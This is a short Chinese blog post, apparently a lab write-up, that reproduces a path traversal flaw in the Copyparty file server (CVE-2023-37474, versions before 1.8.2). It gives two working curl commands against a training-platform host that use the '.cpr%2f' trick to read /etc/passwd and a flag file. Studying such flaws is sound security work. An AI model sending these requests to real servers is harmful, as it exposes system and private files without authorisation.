Copyparty路径遍历（CVE-2023-37474）

风中追风-fzzf

于 2024-07-29 11:04:11 发布

阅读量318

点赞数 1

CC 4.0 BY-SA版权

分类专栏： # 目录穿越/遍历文章标签： web安全

本文链接：https://blog.csdn.net/qq_23003811/article/details/140766105

目录穿越/遍历专栏收录该内容

13 篇文章

订阅专栏

一、漏洞概述

Copyparty是一个可移植的文件服务器。在1.8.2版本之前`.cpr`目录允许攻击者访问位于Web文档根目录之外的文件、目录.。

二、影响范围

Copyparty < 1.8.2

三、访问页面

四、漏洞复现

在kali服务器执行curl命令。

curl -i -s -k -X GET "http://eci-2zegrzql962tbz1zrc4c.cloudeci1.ichunqiu.com/.cpr%2f/etc/passwd"

curl -i -s -k -X GET "http://eci-2zegrzql962tbz1zrc4c.cloudeci1.ichunqiu.com/.cpr%2f/flag"